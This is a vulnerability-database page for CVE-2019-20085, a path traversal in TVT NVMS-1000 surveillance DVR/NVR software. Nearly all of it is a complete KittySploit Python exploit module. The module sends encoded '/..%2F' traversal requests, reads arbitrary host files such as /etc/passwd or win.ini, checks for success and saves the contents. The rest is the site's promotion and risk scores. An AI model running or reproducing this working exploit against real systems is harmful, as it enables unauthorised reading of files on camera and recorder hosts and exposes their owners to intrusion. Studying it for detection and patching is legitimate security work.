Lucene search
+L

TVT NVMS-1000 Path Traversal (CVE-2019-20085)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Path traversal in TVT NVMS-1000 allows reading arbitrary files from the host.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TVT NVMS-1000 path traversal LFI (CVE-2019-20085)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TVT NVMS-1000 Path Traversal (CVE-2019-20085)',
        'description': (
            'Exploits CVE-2019-20085 in TVT NVMS-1000: GET /..%2F traversal reads '
            'arbitrary files from the DVR/NVR host.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-20085'],
        'platform': Platform.MULTI,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-20085'],
        'tags': ['tvt', 'nvms', 'dvr', 'nvr', 'camera', 'lfi', 'kev', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2019_20085_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote path (Linux) or win.ini (Windows)', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _traversal(self, remote: str) -> str:
        depth = '/..%2F' * 12
        remote = remote.lstrip('/').replace('/', '%2F')
        return f'{depth}{remote}'

    def execute(self, remote_path: str) -> str:
        path = self._traversal(remote_path)
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        for target in (str(self.file_path or '/etc/passwd'), 'windows/win.ini'):
            body = self.execute(target)
            if re.search(r'root:.*:0:0:', body or '') or re.search(r'\[(font|extension|file)s\]', body or '', re.I):
                return {'vulnerable': True, 'reason': 'TVT NVMS traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'TVT traversal failed', 'confidence': 'medium'}

    def run(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if not body:
            print_error('Empty response')
            return False
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Saved to {out}')
        else:
            print_success(body[:4000])
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
7.6High risk
Vulners AI Score7.6
CVSS 25
CVSS 3.17.5
EPSS0.96071
SSVC
2